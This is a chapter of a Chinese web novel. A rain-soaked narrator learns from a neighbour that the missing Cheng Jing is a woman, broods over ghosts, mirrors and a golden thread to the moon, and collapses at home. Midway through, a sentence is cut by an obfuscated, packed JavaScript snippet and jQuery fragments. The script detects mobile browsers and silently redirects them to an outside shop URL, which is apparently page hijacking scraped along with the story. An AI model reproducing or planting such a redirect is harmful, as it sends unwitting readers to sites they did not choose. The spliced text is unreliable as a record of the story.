回方姨家的路几乎是条直线。我跟在金线后，一路向前。


    雨渐渐下大，轻轻扎着我的脸。一个又一个路灯从我旁边经过，马路缩向我脚底。前面的空间整个向我压来，要将我连同周围这些光影明暗一起，碾进一个平面。


    我转身，向后望去，却只看见无限拉长中的虚空。那里什么都没有。


    我是在镜子里，还是镜子外？


    腿抬起，落下。


    向前……我是在向前吗？还是……连我本身，都只是幻觉？


    头发和T恤早已湿透，冰冷地黏着皮肤。我就像泡在水里，正慢慢显形的——一张照片。


    十字路口红灯亮起。雨中、路面、镜片上裂变出无数个红色幻影。


    我在哪？这里真的是现实吗？


    如果这真是现实，要怎么解释——一个二十天后我才会遇到的人，他的东西，是怎么提前到了我手上？而我，也理所当然以为，这就是我的东西。


    我是落进了谁的现实？


    “你是个突然出现，还没有长出芯的孩子。”


    疯子的声音，在我耳中响起。


    ……疯子。


    金线无视了幻影和雨线，直直遥指向右前方的半空。


    是疯子选择了我——一个几乎和他同时离家出走的人？


    一个同类。


    那个周一上午的相遇，根本不是什么偶然。那甚至，都可能不是我们在时空中的第一次交错。


    他找到我，然后将他的手机，放在了我的身上？


    可他，怎么做到的？


    雨水疯狂抽取着热量，寒意在肺泡中炸开。


    猛然惊觉绿灯，我迈开脚。没走出两米，却发现指示灯又变回了猩红。我只好继续向前，穿过空寂的马路。


    难道…那时候，他就已经是个鬼魂？


    我曾怀疑，他是那晚争吵后才被方姨失手杀害。但如果…他早就死了呢？


    那样，一切就都说得通了——


    他的苍白和淡漠，方姨那彻底的无视，提起他时她眼中瞬间的惊恐，以及，那几张诡异的符纸，和书房里直指飘窗的杀阵……


    是不是，在他离家出走后不久，就已经死了？


    然后，他的鬼魂找到我，将手机放在我身上，引我回到了他生前的住处。


    等他作为鬼魂，再回到那间屋子时，已经忘掉一切，也忘记了自己的死亡。而那场争吵，让他想起了全部，所以……他走到月光下，彻底消失了。


    我走到马路的另一边，停下脚步，定定望向金线消失的尽头——


    是这样吗？我是被他捕获了。


    可是，如果从那时起他就已经是鬼魂……


    那么，刘姨口中，那个跑出去大半个月，又自己回去了的“疯子”，是谁？


    那天晚上，和方姨争吵的、砸树的，又是谁？


    一个鬼魂，能做这些吗？能够翻动书页，燃烧青词吗？


    潮湿浸透鞋袜，顺着裤腿向上吹送寒气。我的膝盖以下，已经完全变成了两截木头，正被蚁群一点点蛀透。


    脚下踩起的水声和雨声混在一起。我，就要化进这片雨里。


    小区也融化在雨水和夜色中，显示出另一幅模样——藏在幕布后的陌生舞台。路灯光和楼房的灯光被捂在雨后，远远窥视这潭浓墨。


    我走进楼栋，取下眼镜，用袖口擦了擦，戴上。上面的水珠糊得均匀些了。


    抬头，看向往上延伸的楼梯——


    总得有个地方避雨。


    踩着湿湿的脚印，我上到五楼。左转，站定，指甲掐进掌心，抬手敲了501的大门。


    门后一阵悉索，猫眼里暗了暗。


    我抻直背，伸出右手，再次按了按楼层感应灯的开关。


    又过了两秒，门开了。是刘姨。


    她将门推开条半人宽的缝，拉着把手，皱起眉，从门缝的阴影里打量我：“是小江啊。有什么事？你怎么都淋湿了？”


    “刘姨好。”我站到门缝前，稍探出上半身，脸上堆满笑，神色却很急切，“您这两天有看到程静吗？他又跑出去了！方姨到处找他，急得不得了。”


    “又跑出去啦？”她一下就变了脸色，将门一把推开了大半，走了出来。虚掩上门，右手便拉住我胳膊：“这次是什么时候跑的？”


    ——至少，对刘姨来说，疯子是真实的存在。


    “就是前两天，中秋节刚过就跑出去了。”我耸起眉，仍陪着笑。


    刘姨眼神往左边的墙根上一划，随即就正了回来：“哦！是那天晚上，吵架之后跑了的吧？”


    “是啊。原来都以为吵过之后就没事了。谁知道，没过两天又跑了。您这几天看见他了吗？”


    她松开我的胳膊，慢慢转身对向502的大门：“没有吧……这两天，我也没见着谁进出啊。其他…也没听人说过又在哪看见了他……”


    ——果然。


    “但…兴许是遇上了没认出来？毕竟许多年没见了……”她又转向我，眼睛一只圆瞪着，一只微微眯起，“你给说说，他现在是长什么样了？”


    “哦，他现在很瘦了，但还是戴着眼镜。头发有些长，带卷，看着有点乱。皮肤很白，下巴上胡茬很明显。他跑出去的时候应该也没刮。”我随口答着，努力维持眼中的热切。


    “胡茬？”刘姨的声音猛地拔高，将我一下拖拽回楼道里。


    我轻拧起眉头望着她，就听见她斩钉截铁地甩下一句：“不可能啊…程静，是女的！”


    ……程静，是女的？！


    我呆望着她细细眯起的双眼，和眉心处深夹的竖纹，脑子里一片空白。


    程静是女的？


    那么…疯子，赵路……是谁？


    橘黄的灯光打在我前面这张脸上，陡然将它远远推至视线尽头，却又同时占据满整个视野。它在拉扯，起伏，溶解，重组……


    ——不行…站稳。给我站稳！


    双手掌心传来尖锐的刺痛。我眨眨眼，飞快地思考该怎样接话。


    “谁呀？”


    门后远远传来道男声。接着，吧嗒吧嗒的拖鞋声越来越近。


    刘姨侧回身子，拉开些门，冲里面说了句：“就是在隔壁502租房子的那个小江。他说，那疯子又跑出去啦！”


    “怎么又跑出去了。”门被彻底推开，声音的主人走出来，站在我们面前。正是上次在天台上，和刘姨一起收拾簸箕的大爷。


    刘姨拉着他胳膊，将我们刚刚的对话复述了一遍。最后，她瞪着大爷，瘪着嘴道：“你说奇不奇怪，小江说，那疯子脸上长胡子了！”


    “长胡子了？”大爷的脸也唬了起来，眼睛一下瞪得溜圆，“这怎么可能？她明明是个姑娘啊！”顿了顿，目光在我脸上仔细搜寻，“是不是你看错了？要不…是她身体又出了什么毛病？”


    “是呢。他刚刚说，那疯子现在瘦得很。肯定是又病了嘛。”她朝我努努嘴，“你去问他。”


    ——太好了，理由都不用我找。


    大爷便转身正对向我，想要细问。我胃里一阵翻搅，带得太阳穴突突乱跳。实在没有心思再继续聊下去了。于是，我抢在他开口之前，向他们告了声歉，只说突然想起手机落在公司里，得马上赶回去拿，便急急转身冲下了楼。


    我冲出楼洞，走了两步，才发现外面仍在下雨。


    那就下吧。反正，全身早就湿透。


    ——反正，我也只能继续往前。


    脚步将我又送到了小区门球场。这里有棵大树，多少可以挡一挡雨。


    上次过来，还是在疯子和方姨争吵的那个晚上，那个中秋的前夕。


    “程静是女的……”


    ——那么，疯子是谁？


    我将自己扎稳在这石头围栏上，才终于敢放任去想这个问题。


    先前关于他的猜测，又被全部连根拔起。


    “你说的赵路到底是谁？我们家里没这个人！”方姨的喊声在树下回响。


    也许……她说的是真的。


    他，就是一个不应该存在的人，一条多出来的线头。


    一条多出来，却又真实存在的线……


    我抬起右手，翻掌向上。食指尖，金线在轻轻扭动，越过深褐沙地，没进左前方漆黑的夜空。


    ——这是，他递给我的线。


    目光下，这光线仿佛凝为了实体，往我的指尖不断传导着陌生的频率。那是，那个看不见的月亮，它的心跳。


    它只是看不见，并不是不存在。


    感受着指尖的波动，我的心跳却渐渐平稳下来。


    ——他，只能是一道真实存在的幻影。一个“鬼魂”。


    他不会无缘无故地出现。方姨家…男性…失忆…四十岁上下……


    “啪”，又一滴硕大的水珠砸在右肩肩头。


    ——难道……程峰？


    寒意攀住我的肩膀，慢慢向前探出头来。仿佛我身后那棵大树，也正暗暗伸出尖利的爪牙。


    ——不，这不可能。


    要是这样，我还不如去相信，他真是我臆想出来的呢。


    我从鼻腔里哼出一声轻笑，震落满身寒悚。


    呵，我臆想出来的……


    等等！目光突地一敛——时间倒是能够对上……


    或许我该再好好想想这个可能性。


    ……


    ——对上什么呀。别说那个奇怪的手机了，光那两篇青词，我就臆想不出来。


    我自嘲地笑笑，立刻释然了——


    他，一定“存在”于我这脑子之外。


    裤袋里的手机突然震动起来，将知觉重新唤回大腿。我伸手将它掏出——果然，是方姨的来电。


    10点了……


    手机还在固执震颤，屏幕的冷光打在脸上，冻住了我的表情。


    ——我还不想回去。


    手机响了四轮，才终于安静下来。接着，又震了几遍，那是方姨的几条短信。


    我没看，却点开了微信——它右角上亮着个鲜红的圆圈：3。


    是徐姐回消息了：


    “你别吓我”，后面跟了个恐惧捂脸的表情。以及，


    “明天周日啊，我休息。等后天我上班了去给你找”，


    “你要不请个假，去医院看看？”


    ——对哦…明天周日了。又得再等一天。


    我谢过她，说已经请了假，便将手机调整静音，塞回了裤兜。


    抬头向前望去，身前只有一片寂静的空旷。


    寂静中，记忆的碎片在翻涌。有什么东西，正挣扎着从漆黑的深处浮出。


    “哦！是那天晚上，吵架之后跑了的吧？”


    刘姨的话铮然响起，脑中豁地一亮：是啊！她听见了他们的争吵。


    她说，程静是女的。


    那么她听见的——是两个女人的争吵。


    两个女人……


    世界重重砸下。我猛地向下一沉，手指死死掐进大腿，听见自己牙齿磕碰的响声——


    她……那个房间里，卫生巾…内衣的……主人，真的…存在。


    至少……在那个晚上，她还存在。


    就存在，在那间屋子里。


    而我……什么…都不知道。


    气流在喉间回旋，在颚间撞出轻啸。身体抑制不住剧颤了几下。我将肚子摁进大腿，双手抱紧膝盖，眼睛死死盯进地面。


    程静。赵路。我。


    我们……在那间屋子里，同时…存在过。


    我猛地抬头，看见金线在沙地上的无数分身——


    那是雨滴打出的浅坑，和涓流冲出的细小沟渠，聚集起的无数块破碎的镜面。


    一个应该存在，却并不“存在”的人。


    一个不该存在，却真实“存在”过的人。


    时间，空间，它们缠扭在一起，让不该同时出现的两个人，一起出现在了方姨那间屋子里。


    “零界空间。”


    这个名字从我牙缝间挤出。几小时前，我才在地图上搜索过它。


    是的。临界空间，虚实之界。


    这就是，我找到的，能够解释当前情形的，最合理的答案。


    “一面镜子，就是一个漏子……于是，我从一个世界，到另一个世界。”


    我闭上眼，深深吸进一口气，将后背拉直。双手平放腿面，感受身下石栏传来冷硬的支撑。


    是了。如果那房子，真的是时空的结点，那么，不仅能够解释了二人为什么同时存在，还能解释，为什么疯子认为废物是个女的——他的确见过那个女人。


    甚至，它还能够解释……刚被压下去的寒意又腾地升起——


    为什么，疯子自认为是方姨的侄儿。


    为什么，他和废物有着相同的字体。


    为什么……我正使用着他们的手机。


    心脏猛地抽动两下，小腹骤然绞紧——


    为什么，我正在失忆……


    我们，都在“成为”程静。在各自的现实，接续使用同一个身份。


    “它才是那个真实存在的东西。”


    疯子消失前，这样说。


    “方程……或者镜子。”气息从齿间碾过。手掌重重压进小腹，试图镇压住里面粗粝沉闷的绞痛。


    ——那天，他窥见，解出的，是不是这个？


    “不要被命运看见。”嘴角慢慢渗出苦笑，“你看见了命运，命运也就看见了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001303|193953||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你。”


    命运看见了我们。


    于是，他，我们，都被捕捉，囚困——成了“鬼魂”。


    他看见了命运。于是，他消失了。


    呵，鬼魂……


    我端起右手，在眼前摊开——


    这个“鬼魂”，真的存在吗？


    它存在于哪里？


    这具身体？我的名字？身份？


    还是……记忆？


    它们，还将属于我吗？


    疯子，赵路——这是他的本名吗？他消失在月光里，身体都没留下。


    那个女人，和方姨争吵的女人，还有我房里那堆东西的主人，真的是同一个人吗？她的手上，是不是也有一根金线？


    目光胶在指尖，圈住这摇曳的金色——


    这就是我被点燃的灵魂，燃烧的我？


    空气中传来了桂花的香气。目光顺着金线向前望去。


    雨，不知什么时候已经停下。门球场朗朗铺在眼前，细沙上泛起细碎的银光。石栏，树叶，路面，都浸在月光里，裹在月亮的感觉之膜下。


    而月亮，正高悬在天上，如金色水母的伞盖，在夜空静谧舒展。伞盖中，是它长长的触手，也闪着灿灿金光，蜿蜒着贯穿夜空，钻进我右手，在指尖妖异扭动。


    原来，疯子说的，是真的。金线，要一直连到月亮上。


    那么，月亮上也真的有无数面镜子，无数个漏子吗？


    我们是不是，就是从那镜子里穿出来，落在地球上的？


    那上面到底是祭坛，还是迷宫？


    这根金线，是在燃烧我们，还是指引回家的路？


    “少年要变成男人，男人要变成疯子，疯子要变成月光……”


    ——疯子，你是燃尽了，还是回去了？


    我们看见的，可是同一个月亮？


    耳中骤地拉起电流尖锐的爆鸣。视野一黑，后脑像被箍了个皮筋，一阵阵收紧。胸口和喉咙抽搐几下，吐出几声干呕。


    等我终于喘上口气，整个人已经蜷缩成一团。上半身死死抵着大腿，双手指尖则深深掐进了大腿后侧的肌肉里。


    我缓缓松开手指，抬头，呼出口气。双手垂下，指尖轻触地面，戳了戳脚边松软潮湿的沙粒。


    目光则停在稍远处一小块水洼上，那里面——正映着一轮金色月亮。


    孤冷，静谧。那才是它正常该有的样子。


    “晋江行，你看的，会是哪个月亮？”


    我一点点扯起嘴角——


    我还能看向哪个月亮？


    又一阵浓郁的花香，裹挟着雨后泥土的气息，灌满肺部。


    我坐直身，猛地打了个寒颤——风鼓起衣服后摆，我才发觉它几乎已经干透。空气中弥漫着烧灼，一触上皮肤，却变成冰冷的针尖。骶骨处也传来钝痛。


    不能再坐在这了。必须回去。我得…得换衣服。


    我撑着围栏站起，大地却突然开始旋转。周围的景物，随地面一起向前跑去。我拖着双腿，穿过它们，一步，一停，免得撞上。脚下不再是地面，而是不断下陷、吸吮着脚踝的流沙……


    这段路，耗费了我全部力气，却又轻省地仿佛未曾用力——


    一眨眼，我就已经站在方姨家门前。跳过了寻找、攀爬的全部步骤。


    我将装饭盒的袋子套到左手，撑住门，右手摸出钥匙，费劲地将它插进锁孔里。


    转动两圈，门锁弹开。我抽出钥匙，左手正要去拉门把——门却陡地向外撞来。双手一跳，接着便是一痛，饭盒也跟着“哐啷”一声响。


    我站退一步，揉了揉手背。


    “怎么搞到这么晚？电话也不接！”门缝中迸出方姨的声音。


    门推开了一大半。她拧眉立在门后的昏暗中，目光灼灼在我身上扫过几遍，又探头望了望楼道，松开把手：“没淋着雨吧？快点进来！”


    “电话也不接，信息也不回。你是要急死我！”她抢过装饭盒的袋子，急急走开，又急急回来。我换好鞋进了屋。外套袖子、头发都被手重重捋过。


    “怎么是湿的？你淋雨了？”“怎么这么烫！”“快！去洗个热水澡，把衣服都换了！”


    方姨的话不断落下。我被额头上冰冷的手激得一荡，努力定住身子扯出些笑。想要分辨两句，嗓子却干得像燃着火星的灰烬，嘴也涩得黏在了一起。我只好安静地被背后那只手半推着进了房间。


    “你快点。我去给你煮点姜汤。”脚步声远了。


    关上门，我将身体重重压上门背。摸到把手，找到旋钮，用力一拧——


    “咔哒”声从指尖传来，我深深呼出一口气，几乎要顺着门背滑下。


    对，换衣服。我在心里默念。


    手肘一撑，支起身体——心脏猛地一空，随即狂跳两下。太阳穴一凉，视野被陡然拉长，压扁，揉成一团。我压稳手肘，放缓呼吸，等待眼前画面重新铺展。


    然后伸臂，身体往前一倾，扶到了衣柜的侧边。喘匀两口气，顶着侧边，抬腿迈到柜前。


    摸着柜门，走到正面，立住。一侧脸，便望见身前一步外的右下角——


    那里面，还有她的东西。她……还在不在这里？


    轻轻叹了口气，收回目光，将身体掰正，抬手去拉左侧柜门的拉手——


    突然！一阵尖锐的剧痛钎进我脑袋，就像颅骨上卡了台狂转的电锤，溅起一轮轮炽白的火花。


    我十指抠着脑袋蹲缩下去，用掌根死死抵住太阳穴。


    等钻痛终于过去，我揉揉眉心，手撑着地，一点点瘫坐下来。血管还在皮肤下悸动，细汗一点点蒸干，汗毛被轻轻拨动，气息扫过鼻头和人中……所有感觉都清晰得像打在窗户玻璃上的雨滴。


    呼吸渐渐平稳。身体里的不适却越来越突兀——仿佛被塞进了一大坨冰冷粘稠的史莱姆，心肺和胃袋都被挤贴成一团。小腹则紧巴巴皱缩着，沉甸甸地直往下坠。


    心底却空荡得发慌，疯狂渴望着填进些什么，好从中刮取些暖意。


    我大概是饿了。我马上醒悟过来——腹中，肠子正一阵阵绞紧，发出年久失修的电梯铁索拖拽的“嘎吱”声。


    我是真的饿了，竟看见了几颗金星。它们绕着我，在虚空中上下窜飞。


    但——我搜遍全身，却凑不出半点食欲。我连着打了四五个空嗝，胸口一提，喉咙一哽，突然抑制不住地干呕起来。胸膈一阵阵抽紧，我翻身爬伏在地，呕得胸腔都要撕裂，眼睑和睫毛上挂满泪花，却连口水都吐不出来。


    等干呕终于过去，我向外咳了咳喉头的酸意，擦擦嘴角，用力往上一撑，向衣柜门抓去——


    世界猛地拉长，随即坍进虚无。


    我晕了过去。